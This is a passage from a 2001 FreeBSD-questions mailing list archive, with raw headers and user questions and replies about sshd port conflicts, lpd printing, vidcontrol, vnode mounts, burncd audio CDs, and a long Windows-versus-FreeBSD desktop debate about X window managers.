IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MS-TNEF-Correlator: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C171E8.F327AEA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I am new to the list and FreeBSD, so please excuse me if this is not the right place to ask this question. I have just completed a new, fresh install of FreeBSD from CDROM, from book "The Complete FreeBSD" by Greg Lehey. I pretty much did an all "auto" and let install pgm do it's thing. I thought it best for first time install. PC is a Dell 500 PIII 256Meg Ram. Has 1 NIC, 3C905, IP adr is 192.168.10.65, mask 255.255.255.0. I can ping other workstations from this box and I can telnet into this box from my W2K box. When I try to start sshd, I get error messages. sshd[336]: error: Bind to port 22 on :: failed: Address already in use. any suggestions, pointers, etc are greatly appreciated. thanks bob ------=_NextPart_000_0005_01C171E8.F327AEA0 Content-Type: application/ms-tnef; name="winmail.dat" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="winmail.dat" eJ8+Ii4XAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy b3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEGgAMADgAAANEHCwAUABEAHQAAAAIAJwEB A5AGADgHAAAlAAAACwACAAEAAAALACMAAAAAAAMAJgAAAAAACwApAAAAAAADADYAAAAAAB4AcAAB AAAADAAAAHNzaGQgZXJyb3IgAAIBcQABAAAAFgAAAAHBchs9f0UQRBQJGE5RqT+doOP7UZQAAAIB HQwBAAAAGAAAAFNNVFA6UlBMQEdPTERFTkdBVEUuTkVUAAsAAQ4AAAAAQAAGDgBGzyEbcsEBAgEK DgEAAAAYAAAAAAAAAO33jg54kbxLhQUzJF9I/MXCgAAACwAfDgEAAAACAQkQAQAAANgCAADUAgAA sAMAAExaRnUEadj5AwAKAHJjcGcxMjUWMgD4C2BuDhAwMzNPAfcCpAPjAgBjaArAc/BldDAgBxMC gwBQA9WVEXV9CoF2CJB3awuAdGQ0DGBjAFALAwu1IEBJIGFtIG4H0XTCbxWAaGUgbAQABUARAHBk IEYJ0UJTRJgsIHMVoAtQZWERIGAgZXhjdReRB4AgnwaQFbEEABhQBCBubwVAsxXCBRBnaAVAC1Fj FeBrFZEXgGsYhHEKUBYgafkCIC4gCuMKhAqAFQAQ8Lp2FeBqF/AFQAWgbRdRfnQJgBUQFUIXAANQ B5Bo1xhQAIABkGwDIG8YcBaVAx5BA3AgQ0RST02XHjIgAQbgbxqgIlQV0RcIUB1kFoYiIOB5IEeh CXBnIExlFdB5G5HdFQBwCXACQCLAbRPwHpAcZGkdwQOgHvIiYXV/FZAikBZSHYEepw4AFTBk8RWg aXQnBCAYkQ8gI4P/FcAIYBmyJyAg4BsxHkAFsbxmaREQGTEHcR6mLhvKTFBDGNId4ERlHwE1UjAR UFBJLGAgDjA2Wk0jAVIVIBuRSBeAIBIxB7BJQxcAM0M5pDA1FwBJUBUQZAXAARixMTkyLjE2OPEv YDAuNi5hAMAakQ4wXDUuMHYvwCOSYwORcK8nkR8gFcEFwHcFsGse0d8bUgQgH+MYkwbgeBZDMXR9 HaBsFVAmEhWTM8Uf422xIsBXMksz4ip7VxXQ+wOgJ/FyIsAVkR7RACAXEOUegGQucSBnJgEEkANg 0wXAB4FzYTmgcyp1OSJiWw9gNl06OdQ7wCC2QhOhFYJwCREskDIfILUDoDo7wGYLcBdgZDwx/EFk LtA6USTxCXAuwCLAvQuAIBfxKnsAcCLAcyhA/zqRMvMXADzgNUEEkEFhETCeYxUQCXA5kD7xdGwi wPRhcCPRYwcwHaEqexXA/wBwMrAbxAbgDDAb2UYLAEELG9MTEQBH8AsAAYAIIAYAAAAAAMAAAAAA AABGAAAAAAOFAAAAAAAAAwADgAggBgAAAAAAwAAAAAAAAEYAAAAAEIUAAAAAAAADAAeACCAGAAAA AADAAAAAAAAARgAAAABShQAAJ2oBAB4ACYAIIAYAAAAAAMAAAAAAAABGAAAAAFSFAAABAAAABAAA ADkuMAAeAAqACCAGAAAAAADAAAAAAAAARgAAAAA2hQAAAQAAAAEAAAAAAAAAHgALgAggBgAAAAAA wAAAAAAAAEYAAAAAN4UAAAEAAAABAAAAAAAAAB4ADIAIIAYAAAAAAMAAAAAAAABGAAAAADiFAAAB AAAAAQAAAAAAAAALAA2ACCAGAAAAAADAAAAAAAAARgAAAACChQAAAQAAAAsAOoAIIAYAAAAAAMAA AAAAAABGAAAAAA6FAAAAAAAAAwA8gAggBgAAAAAAwAAAAAAAAEYAAAAAEYUAAAAAAAADAD2ACCAG AAAAAADAAAAAAAAARgAAAAAYhQAAAAAAAAMAa4AIIAYAAAAAAMAAAAAAAABGAAAAAAGFAAAAAAAA CwCjgAggBgAAAAAAwAAAAAAAAEYAAAAABoUAAAAAAAACAfgPAQAAABAAAADt944OeJG8S4UFMyRf SPzFAgH6DwEAAAAQAAAA7feODniRvEuFBTMkX0j8xQIB+w8BAAAAnwAAAAAAAAA4obsQBeUQGqG7 CAArKlbCAABQU1RQUlguRExMAAAAAAAAAABOSVRB+b+4AQCqADfZbgAAAEM6XERvY3VtZW50cyBh bmQgU2V0dGluZ3NcQWRtaW5pc3RyYXRvclxMb2NhbCBTZXR0aW5nc1xBcHBsaWNhdGlvbiBEYXRh XE1pY3Jvc29mdFxPdXRsb29rXG91dGxvb2sucHN0AAADAP4PBQAAAAMADTT9NwAAAgF/AAEAAAAy AAAAPExNRUxJRkFGTk9ORE5CRUdJRUZFRUVBSENDQUEucnBsQGdvbGRlbmdhdGUubmV0PgAAAAMA BhCbVnoLAwAHECkCAAADABAQAAAAAAMAERAAAAAAHgAIEAEAAABlAAAASUFNTkVXVE9USEVMSVNU QU5ERlJFRUJTRCxTT1BMRUFTRUVYQ1VTRU1FSUZUSElTSVNOT1RUSEVSSUdIVFBMQUNFVE9BU0tU SElTUVVFU1RJT05JSEFWRUpVU1RDT01QTEVURQAAAADypg== ------=_NextPart_000_0005_01C171E8.F327AEA0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:32: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from axel.truedestiny.net (b76168.upc-b.chello.nl [212.83.76.168]) by hub.freebsd.org (Postfix) with ESMTP id 06B0637B419 for ; Tue, 20 Nov 2001 15:32:02 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by axel.truedestiny.net (Postfix) with ESMTP id 3B4FD49A24; Wed, 21 Nov 2001 00:32:00 +0100 (CET) Received: by axel.truedestiny.net (Postfix, from userid 1000) id B0C5849A23; Wed, 21 Nov 2001 00:31:57 +0100 (CET) Date: Wed, 21 Nov 2001 00:31:57 +0100 From: Axel Scheepers To: jaime@snowmoon.com Cc: what ever , freebsd-questions@freebsd.org Subject: Re: lpd: only root can print Message-ID: <20011121003157.G87336@mars.thuis> Reply-To: Axel Scheepers References: <20011120211245.A17671@sdf.freeshell.org> <20011120161504.R53181-100000@malkav.snowmoon.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011120161504.R53181-100000@malkav.snowmoon.com>; from jaime@snowmoon.com on Tue, Nov 20, 2001 at 04:15:49PM -0500 X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, It has been quite a while, but you might try looking if there's a difference between the /usr/skel/dotfiles and your home/dotfiles, it might be a setting in one of these files, or else I can't explain the fact that it workes well with new users and won't if you readd without deleting your homedir. Hope this helps a bit :) -- Axel Scheepers UNIX System Administrator email: axel@axel.truedestiny.net ascheepers@vianetworks.nl http://axel.truedestiny.net/~axel ------------------------------------------ New York is real. The rest is done with mirrors. ------------------------------------------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:45:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts12-srv.bellnexxia.net (tomts12.bellnexxia.net [209.226.175.56]) by hub.freebsd.org (Postfix) with ESMTP id 8883637B405 for ; Tue, 20 Nov 2001 15:45:07 -0800 (PST) Received: from scaryg.shacknet.nu ([64.231.132.99]) by tomts12-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011120234506.NQEP7758.tomts12-srv.bellnexxia.net@scaryg.shacknet.nu> for ; Tue, 20 Nov 2001 18:45:06 -0500 Received: (from root@localhost) by scaryg.shacknet.nu (8.11.6/8.11.3) id fAKNikK94846 for freebsd-questions@freebsd.org; Tue, 20 Nov 2001 18:44:46 -0500 (EST) (envelope-from freymann@scaryg.shacknet.nu) Received: from scaryg.shacknet.nu (scaryg.shacknet.nu [192.168.0.1]) by scaryg.shacknet.nu (8.11.6/8.9.3) with SMTP id fAKNifT94751; Tue, 20 Nov 2001 18:44:41 -0500 (EST) Date: Tue, 20 Nov 2001 18:44:41 -0500 From: ScaryG To: Jacob Rhoden Cc: freebsd-questions@freebsd.org Subject: Re: php/apache/mysql incompatibility Message-Id: <20011120184441.74122e7a.freymann@scaryg.shacknet.nu> In-Reply-To: <5.0.0.25.2.20011121102150.00a2d040@vicyouth.com> References: <5.0.0.25.2.20011121102150.00a2d040@vicyouth.com> X-Mailer: Sylpheed version 0.6.2 (GTK+ 1.2.10; i386--freebsd4.3) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-scanner: scanned by Inflex 0.1.5c - (http://www.inflex.co.za/) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 21 Nov 2001 10:23:11 -0800 Jacob Rhoden wrote: |O|>Is it just me, or is it fairly bad for packages to be setup so that they |O|>don't work together? Essentially anyone who wants to use php from packages |O|>can't? I'm not sure about that, but for my use -- I prefer to let the apachetoolbox do all the hard work for me. Just backup up for conf files and run the latest toolbox kit and it keeps my Apache and PHP updated (but it will do tons more too!) Have a look: http://www.apachetoolbox.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Scary Gerry -- Senior Systems Manager freymann@scaryg.shacknet.nu Now enjoying FreeBSD 4.4-Release along with KDE -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:45:41 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 2DA4637B41A for ; Tue, 20 Nov 2001 15:45:39 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKNjcJ10125; Wed, 21 Nov 2001 00:45:38 +0100 (CET) Message-ID: <014d01c1721d$74e0c470$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "FreeBSD Questions" Subject: How do I set vidcontrol modes? Date: Wed, 21 Nov 2001 00:45:31 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Okay, I give up: How do I set a video mode in vidcontrol after finding one on the list produced by vidcontrol -i mode that I wish to use? I tried specifying the number of the mode, with no luck. Tried it in hex, too (e.g., "vidcontrol 0x325") but that doesn't work, either. What's the secret? No, the man page doesn't explain it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:46:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id 29E0537B41A for ; Tue, 20 Nov 2001 15:46:43 -0800 (PST) Received: (from mwlucas@localhost) by blackhelicopters.org (8.11.6/8.11.6) id fAKNkdN16294; Tue, 20 Nov 2001 18:46:39 -0500 (EST) (envelope-from mwlucas) Date: Tue, 20 Nov 2001 18:46:39 -0500 From: Michael Lucas To: David Kelly Cc: freebsd-questions@FreeBSD.ORG Subject: Re: untarring a chicken I mean a file Message-ID: <20011120184639.A16282@blackhelicopters.org> References: <200111201456.AA1966932132@florida-wireless.com> <20011120115606.P9030-100000@localhost> <20011120141240.A53581@grumpy.dyndns.org> <20011120153311.A14729@blackhelicopters.org> <20011120172210.A53989@grumpy.dyndns.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011120172210.A53989@grumpy.dyndns.org>; from dkelly@hiwaay.net on Tue, Nov 20, 2001 at 05:22:10PM -0600 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 05:22:10PM -0600, David Kelly wrote: > Hmm. Wonder what would happen if ../ could be embedded into a file path > inside of a tar archive? Could make a worse mess for those who don't > expect it. Ouch. Okay, now you're just being mean. :) ==ml -- Michael Lucas mwlucas@blackhelicopters.org http://www.blackhelicopters.org/~mwlucas/ Big Scary Daemons: http://www.oreillynet.com/pub/q/Big_Scary_Daemons To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:51: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 56DA637B419 for ; Tue, 20 Nov 2001 15:51:00 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKNopm11444; Wed, 21 Nov 2001 00:50:52 +0100 (CET) Message-ID: <015401c1721e$309c0080$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Giorgos Keramidas" Cc: References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <009701c171a8$ebc141c0$0a00000a@atkielski.com> <20011120212503.GD27244@hades.hell.gr> Subject: Re: home pc use Date: Wed, 21 Nov 2001 00:50:43 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Giorgos writes: > "Not everyone is interested in a learning > experience." > > So, you are unwilling to learn anything new. How did you reach that conclusion from my statement? > You are well set, and refuse to learn how > anything else works, apart from what you > already know. No, I'm just resistant to dogma. When someone tells me, in effect, "this OS does everything better than anything else, and if you disagree, you're a troll," I get suspicious. > Correct me if I'm wrong, but are you suggesting > that to use Microsoft's Windows OSes you did not > invest time and money to learn how to use the > product? I'm not sure what you are asking, but as a matter of fact I invested nothing in learning how to use Windows; it was mostly trial and error. Not until much later, when I had to administer Windows NT, did I look anything up, but no more so than I am doing now on FreeBSD. > You did do a lot of reading. No, I did not. For years, I had no books at all on Windows. > You did browse the Internet, and search the > Usenet archives. When I first starting using Windows, it did not provide anything even close to Internet access. My Internet access was via Multics. > You did dig in the Microsoft 'Knowledge Base' or > whatever it is called this month. It did not exist online at the time. I'm not even sure that it existed within Microsoft back then. > Why do you seem so annoyed that to use FreeBSD > you have to learn how it works? I'm not. I just wish there were better resources for doing so. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:53:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from backup.dagupan.com (www.psysc.org.ph [206.101.69.5]) by hub.freebsd.org (Postfix) with ESMTP id 389A237B417 for ; Tue, 20 Nov 2001 15:53:13 -0800 (PST) Received: by apmail.dagupan.com with Internet Mail Service (5.5.2653.19) id ; Wed, 21 Nov 2001 07:53:13 +0800 Message-ID: <10F29E27A956D511B0940050DA8D86A9340BCD@apmail.dagupan.com> From: francisv@dagupan.com To: freebsd-questions@freebsd.org Subject: Auto-mount vnode files Date: Wed, 21 Nov 2001 07:53:12 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, How do you auto-mount vnode files? The /etc/vntab file I made did not work: /etc/vntab: /dev/vn0c /usr/local/vnodes/file mount=/usr/local/vps/mountpoint Running `vnconfig -ae' produces: vnconfig: VNIOCATTACH: Device busy Calling the /etc/vntab line from the command line yields the same result. --- francis a. vidal [bitstop network services] | http://www.dagupan.com streaming media + web hosting | http://www.keystone.ph v(02)330-2871,(02)330-2872; f(02)330-2873 | http://www.kuro.ph To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:53:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rexroof.com (gunjin.wccnet.org [198.111.176.99]) by hub.freebsd.org (Postfix) with ESMTP id 4AFD037B418 for ; Tue, 20 Nov 2001 15:53:13 -0800 (PST) Received: (from rex@localhost) by rexroof.com (8.11.6/8.11.1) id fAKNsod43038; Tue, 20 Nov 2001 18:54:50 -0500 (EST) Date: Tue, 20 Nov 2001 18:54:50 -0500 From: "Rex A. Roof" To: Pierre-Luc Drouin Cc: freebsd-questions@freebsd.org Subject: Re: burncd & audio cds Message-ID: <20011120185450.A43031@rexroof.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5i In-Reply-To: ; from pldrouin@hotmail.com on Tue, Nov 20, 2001 at 09:59:12PM +0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG the two cd-rw drives I've tried this on are: a plextor px-w2410A and a non-brand name drive that dmesg tells me is a RW7200A, I know it's a 20x burner. neither of them appear to be in the compatibilty list... hmm. On Tue, Nov 20, 2001 at 09:59:12PM +0000, Pierre-Luc Drouin wrote: > > Is your drive in burncd supported drives ( http://freebsd.dk/ata/ )?. I > cannot burn audio cds with my lg 12x/8x/32x atapi (CED-8120B). It works for > data cds and cd-rw perfectly, but with audio cds, it says always "doesn't > write (wrote -1 of 32768)" Only LG cd burner in list is CED-8080B, so mine > doesn't seem to be fully compatible... > > Someone has a Plextor PX-W1610A or PX-W2410 and could confirm me than it is > fully compatible (including audio cds) with burncd? > > I've tried to use cdrecord, but it seems there is nothing to emulate scsi in > FreeBSD like there is in Linux... > > > >From: "Rex A. Roof" > >To: freebsd-questions@freebsd.org > >Subject: burncd & audio cds > >Date: Tue, 20 Nov 2001 15:12:08 -0500 > > > >Any time I try to burn audio cds with burncd I end up with a cd full of > >static. > > > >I've taken the .cdr files that I've used to burn these cds and burned > >them w/out problem on a linux box using cdrecord. > > > >Both of these boxes are 4.4 (I've tried 5-current too, though), > >and the command line I've used is as follows: > > > >burncd -s 20 -e raw *cdr fixate > > > >I've also tried playing with the speed, and using 'audio' instead of 'raw', > >I think they're the same thing, though. > > > >I've also tried turning on preemphasis, no luck. > > > >I should note that I can hear the first few milliseconds of track #1 but > >after that it's just fuzz. > > > >any suggestions? > > > > -Rex > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > >with "unsubscribe freebsd-questions" in the body of the message > > > _________________________________________________________________ > Téléchargez MSN Explorer gratuitement à l'adresse > http://explorer.msn.fr/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:57: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 374A637B418 for ; Tue, 20 Nov 2001 15:56:52 -0800 (PST) Received: (qmail 81386 invoked by uid 100); 20 Nov 2001 23:57:01 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15354.60877.44081.17515@guru.mired.org> Date: Tue, 20 Nov 2001 17:57:01 -0600 To: "Anthony Atkielski" Cc: questions@freebsd.org Subject: Re: home pc use In-Reply-To: <108388988@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Anthony Atkielski types: > Ceri writes: > > I refute your assumption that a system that > > doesn't run Windows applications is useless. > If you can get by without any Windows applications, your refutation is valid. > But most people need to run at least a few Windows applications, unless they > have Macs (which have a large enough choice of applications to avoid Windows > entirely and still get lots of things done). I run no MS-Windows applications. I have a test machine that runs windows so I can verify that hardware works with the vendor-provided driver, but it has no other uses. > > There you go again. > > Window Managers Do Not Run Applications. > > All you need is an X server to run Netscape. > Maybe I'm confused. How do you run an X server or an application within it > without a window manager? Try the following: $ cd $ mv .xinitrc save.xinitrc $ echo netscape > .xinitrc $ startx Poof. You're now running netscape without a window manager. X10's window managers sucked so badly that when forced to use it, I didn't bother with a window manager - I ran emacs as above. To the X server, a window manager is just another client. There can only be one such per screen, but there are other applications with similar constraints. The only part of an X workstation that has to run on the workstation proper is the server. You can run the window manager on a second computer somewhere (I just had a disturbing thought. plwm might run on a *MS-Windows* box and talk to the X server on your Unix workstation!) and let it manage windows on a workstation. In fact, that's the basic idea behind the "X-station". If you're not familiar with them, they were terminal-priced boxes that ran an X server in firmware. The only thing that ran on them was the X server. When you turned them on, they would use XDCMP to find a box running xdm to get a login window, which would then run your X environment on some other machine. From the sysadmins point of view, this was great. You only had to manage one system, as the boxes you put on desks didn't require management beyond the power switch. It also provided the kind of user mobility in the late 80s and early 90s that Windows didn't get until the last few years. > > Generally, that is indeed true, but you don't > > seem to have much experience of Unix like systems, > > let alone FreeBSD. > It's true with all of them, rest assured. In fact, when you look at the source > code of multiple operating systems, it's surprising how often you see the same > algorithms over and over. Why restrict yourself to operating systems? When you look at the source code to most non-trivial programs, it's surprising how often you see the same algorithms over and over. That's why high level languages incorporate things like lists, dictionaries, tuples and so on. Anthony Atkielski types: > Exactly. A production machine is _very_ different from a fun-and-games or hobby > machine. > > Just as the thought of replacing FreeBSD with NT to run my production Web site > chills the blood in my veins, so the thought of trying to get FreeBSD to replace > my Windows desktop seems fraught with peril, and it serves no useful purpose. Actually, the thought of moving *any* production environment from one OS to another is chilling. That's one of the things that IBM depended on for cash flow, and that MS depends on now. Anthony Atkielski types: > It may be, if your needs are very limited. I have more than 100 applications > that I use on Windows, though, and there is just no way to get the equivalent on > FreeBSD--nor do I have any motivation to try to do so. Why would I want a clone > of Windows? I already _have_ Windows. Exactly. If I wanted to clone Windows, I wouldn't run FreeBSD on my desktop. Anthony Atkielski types: > > Not everyone wants their systems to look like > > and feel like windows. > > Maybe, but you'd never know that from the fervor with which UNIX users (or > newbies, at least) rush to install GUI environments on their machines. You're confusing two different things. A GUI environment (hmm, I'm not sure I've got one now, as I'm running a window manager that doesn't use the mouse) doesn't have to look and feel like Windows. If they did, there'd be no point in running anything but Windows on the desktop. I've been told that you can change the window manager on Windows (I believe they call it a "shell"), but I've as yet to find a place to download an alternative. I know Netscape was marketing one, and HP used to ship their own shell. MS changed their license to kill Netscape's product, which forced HP to replace their shell with the one MS provides, creating a measurable increase in support calls. > Maybe I should take a poll: How many FreeBSD users here are satisfied with just > the standard command-line interface and interactions through terminal-style > remote programs like telnet or ssh? I'll raise my hand, but I daresay that I > won't see too many other hands going up. Why don't you try asking how many people want their desktop to look and feel like Windows? I bet you get about the same number of hands, either way. > > I for one would never have installed FreeBSD on > > my computers 5 or 6 years ago if it had looked > > like windows. > I installed FreeBSD specifically with the intent of leaving it in its native > state. It's a server, not a desktop. If I want to throw away vast amounts of > horsepower putting drop shadows and sparkly highlights on screen icons, I'll do > it on my Windows desktop system (heck, do I have a choice?). If you used a FreeBSD desktop, you would have a choice. I don't use window managers that provide drop shadows or icons. If I could find such a thing for Windows, I'd be much more likely to use it than FreeBSD on the desktop. > > Support is not difficult to get, but most FreeBSD > > users expect the user who is asking questions on > > this list to read the manpages and search the > > list archives before emailing the list. > I think we are desynchronized a bit. I was talking about production use of the > OS. Sorry, but you cannot sell an OS for use in production environments with > the advice to "read the man pages" or "e-mail this list" if support is required. Well, nobody sells FreeBSD, but it sees a lot of use in production environments with exactly that level of support. > Most production environments require hotline support for the products used. If > the system goes down with 1500 users connected, you cannot spend several hours > reading through man pages or waiting for e-mail to be answered to resolve the > problem; you need an engineer on the phone _right now_ who is competent to help > you bring the system back up _right now_. If you tell your manager that you're > waiting for some friends in cyberspace to give you a few educated guesses as to > what's wrong, both you and your manager will be flipping burgers before the week > is out. Doesn't sound like you've had much experience with commercially supported OS tech support. Telling managers "I'm waiting for an answer from vendor tech support" is a *very* common occurence with them. > No, it is a logical inevitability. What is Windows? It's the environment > provided by the Microsoft Windows operating system. So where are you likely to > find the most perfect implementation of a Windows environment? Under Microsoft > Windows, of course! That's never going to change. That's true. And the best MVS environment is sold by IBM. So what? > > Personally if the desktop system functions and I > > can get work done, I don't care if it looks like > > and acts like windows, and the less it looks like > > windows, the better. > The problem is that 99.9% of all applications out there in the world today will > not run except on a system that looks and acts exactly like Windows. So you are > stuck with the Windows environment whether you want it or not. No, you're not. The key is realizing that no matter what you do, 99.999% of all applications are useless. If you can find the .001% of applications that aren't useless in the .1% that don't run on Windows, you'll do fine. I believe you said you were a web developer. You can build an almost complete web development environment on FreeBSD. The one thing that's missing is MSIE - because MSIE is your typical buggy MS trash, so you have to QA against it to find out where they aren't following the standards. Since MSIE runs on Solaris/SPARC, you can put together a complete web development environment on that Unix platform. > Long ago, I saw a very simple windowed desktop on DEC UNIX systems, if I > remember correctly. Can anyone tell me what sort of environment that was? I > don't need something fancy, just something that will let me run programs that > require an X environment. I don't care if I hear lovely chimes when I > double-click on icons, and I don't need to have a menu of 3,245 desktop themes > to choose from. DEC workstations shipped with the mwm window manager as the default window manager. At the time, it was a pretty fancy window manager. It's still a lot heavier than anything I'd call "simple". As indicated above, the simplest window manager of them all is not bothering to run one. The closest thing to that is ratpoison, which is in the ports tree. No icons, now frames, no sounds; it's all driven from the keyboard. Beyond that there are a number of window managers that don't do any icons and only provide simple frames. I prefer lwm from that set, but it's certainly not the only choice. All of which is why I run FreeBSD on my desktop - because I believe that computers should adapt to users, and not vice versa. I get to run a window manager that suits my desires, instead of having to subjugate my desires to what Redmond provides me. > The problem of a mysterious reboot during the night is one of them: My system > rebooted abruptly sometime during the night, on one single occasion, which has > not been repeated. There seems to be no evidence of what happened; I asked here > if there was any place where I could look for clues, but didn't get much of an > answer. The system was running setiathome, and a cron job was executing (I know > this from the last screen output by top on a remote terminal before the system > went down). Nothing else. The system has been in the same state on many other > occasions, but no reboots have occurred. Since it's not repeating, I'd write it off as a hardware hiccup. If that doesn't satisfy you, make sure you're set up to capture core dumps, be prepared to debug them, and wait for it to happen again. I've never run into a commercial support organization that would provide better results than what I just told you. If you can't repeat a problem, then there's no way it can be diagnosed and know that it's fixed. Anthony Atkielski types: > Kris writes: > > I don't know what you mean by "functional and > > ergonomic equivalent of Microsoft Windows". > I mean something that does everything that Microsoft Windows does, with the same > ease of use. If that includes running Windows software, you're stuck. Of course, that also means you're stuck with the lousy GUI that Windows gives you. Anthony Atkielski types: > Ceri writes: > > The X server runs on the workstation. > If all these people running X Servers like KDE are not running them on the UNIX > machine itself from the console, where _are_ they running them, exactly? KDE is not an X server. KDE is a desktop environment. It can be run on any machine with IP connectivity to the X server. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:57: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org 